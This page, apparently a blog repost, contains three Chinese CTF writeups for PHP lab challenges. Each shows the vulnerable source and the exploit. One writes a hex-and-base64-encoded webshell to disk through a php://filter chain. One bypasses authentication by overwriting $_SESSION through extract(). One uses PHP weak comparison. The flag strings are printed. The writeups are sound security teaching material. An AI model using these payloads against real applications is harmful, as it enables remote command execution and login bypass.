当前位置: 首页 > article >正文

PHP-综合3

[题目信息]:

题目名称题目难度
PHP-综合32

[题目考点]:

PHP综合训练

[Flag格式]:

SangFor{IoOvaUFeUjE1Lt2hatHL_z9uKyTLu0Cn}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2047

[题目writeup]:

1、实验主页

uploading.4e448015.gif正在上传…重新上传取消

2、源码分析

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

前置知识

is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true

call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容

分析代码逻辑,首先,get传参v2和v3,post传参v1;在if条件判断中需要v4为真才能往下执行。

若想使v4为真,v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字

<?php
$b = base64_encode('<?=`tac *`;');
$b = str_replace("=","",$b);
echo "base64加密后:".$b."\n";
$a = call_user_func('bin2hex',$b);
echo "16进制形式:".$a."\n";
var_dump(is_numeric($a));

/*运行结果
base64加密后:PD89YHRhYyAqYDs
16进制形式:504438395948526859794171594473
bool(true)
*/

<?=是php的短标签,是echo()的快捷用法

由于在题目代码中,substr()取得是从下标为2开始的字符串,所以在16进制前面加00两位数

?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php

POST:
v1=hex2bin

再访问dotast.php即可查看到flag









[题目信息]:

题目名称题目难度
PHP-综合22

[题目考点]:

PHP综合训练

[Flag格式]:

Sangfor{get_make_session}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2029

[题目writeup]:

1、实验主页

2、源码分析

<?php 
# GOAL: get the key from $hidden_password[207]  
session_start();
error_reporting(0);

function auth($password, $hidden_password) {
$res = 0;
if(isset($password) && $password != "") {
if($password == $hidden_password) {
$res = 1;
}
}
$_SESSION["logged"] = $res;
return $res;
}

function display($res){
$aff = htmlentities($res);
return $aff;
}

if(!isset($_SESSION["logged"]))
$_SESSION["logged"] = 0;

$aff = "";
include("config.php");

foreach($_REQUEST as $request) {
if(is_array($request)) {
die("Can not use Array in request!");
}
}

$password = $_POST["password"];

if(!ini_get("register_globals")) {
$superglobals = array($_POST, $_GET);
if(isset($_SESSION)) {
array_unshift($superglobals, $_SESSION);
}
foreach($superglobals as $superglobal) {
extract($superglobal, 0);
}
}

if((isset($password) && $password != "" && auth($password, $flag) == 1) || (is_array($_SESSION) && $_SESSION["logged"] == 1)) {
$aff = display("$flag");
} else {
$aff = display("Try again");
}
echo $aff;
show_source("index.php");

分析代码逻辑,输出flag一共需要几个条件。要么同时满足$password变量存在并且值不为空,auth()函数对$password和$flag处理返回值为1;要么$_SESSION不为数组并且$_SESSION[“logged”]的值为1。

这里要想auth()函数返回值为1必须得$password和$flag相等,不太好绕过。所以直接考虑第二种条件,令$_SESSION不为数组并且$_SESSION[“logged”]的值为1。

?_SESSION[logged]=1
post
_SESSION=1









[题目信息]:

题目名称题目难度
PHP-综合12

[题目考点]:

PHP综合训练

[Flag格式]:

SangFor{zMGqGjPnDbKyA7rdUHbZSr_GR-MYbwx2}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2075

[题目writeup]:

1、实验主页

2、源码分析

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'sangfor'){
                echo file_get_contents("flag.php");
            }
        }
    }
} 

分析代码,可以看到我们最终的当然是让程序执行echo file_get_contents("flag.php");

那么就需要满足条件intval($code) == 'sangfor',观察代码发现是弱比较便是我们突破的点。

首先PHP弱比较中字符串和数字比较时,字符串会先进行类型转换,转换为’0’。由此可见我们需要将

intval($code)构造为0。从前面的学习可知intval函数是取整函数,intval()函数会将非数字或非数字字符串转换为0,也就是我们传入的f1和f2互相构造即可,我们可以构造一个md5,这样intval就会返回0

测试代码

<?php

if(intval(md5(md5())) == ‘sangfor’){
echo 123;

        } 

?>

//输出 123

构造payload:

f1=md5&f2=md5


http://www.kler.cn/a/539510.html

相关文章:

  • Python截图轻量化工具
  • LIMO:上海交大的工作 “少即是多” LLM 推理
  • Redis持久化机制详解
  • DeepSeek-r1和O1、O3mini谁更强?
  • Maven插件—flatten-maven-plugin:工程模块统一版本依赖
  • deepseek API开发简介
  • PrimeFaces Poll组件实现周期性Ajax调用
  • S4 HANA金税接口
  • STM32的HAL库开发---高级定时器---互补输出带死区实验
  • 集成开发环境GoLand安装配置结合内网穿透实现ssh远程访问服务器
  • Stable Diffusion室内设计文生图实操
  • 5.【BUUCTF】[RoarCTF 2019]Easy Calc1
  • C# OpenCV机器视觉:多尺度细节提升
  • MFC 的 CListCtrl 控件,使用SetItemState 方法来设置选中某个 item,如何达到效果和鼠标点击一致
  • qml前后端数据交互
  • 第436场周赛:按对角线进行矩阵排序、将元素分配给有约束条件的组、统计可以被最后一个数位整除的子字符串数目、最大化游戏分数的最小值
  • 【C++篇】智能指针
  • Objective-C语言的云计算
  • openssl使用
  • 【HeadFirst系列之HeadFirstJava】第2天之类与对象-拜访对象村
  • 使用golang wails写了一个桌面端小工具:WoWEB, 管理本地多前端项目
  • YOLOV8 OpenCV + usb 相机 实时识别
  • JMeter常用函数整理
  • 高并发读多写少场景下的高效键查询与顺序统计的方案思路
  • 【Spring Boot】Spring 事务探秘:核心机制与应用场景解析
  • Android studio怎么创建assets目录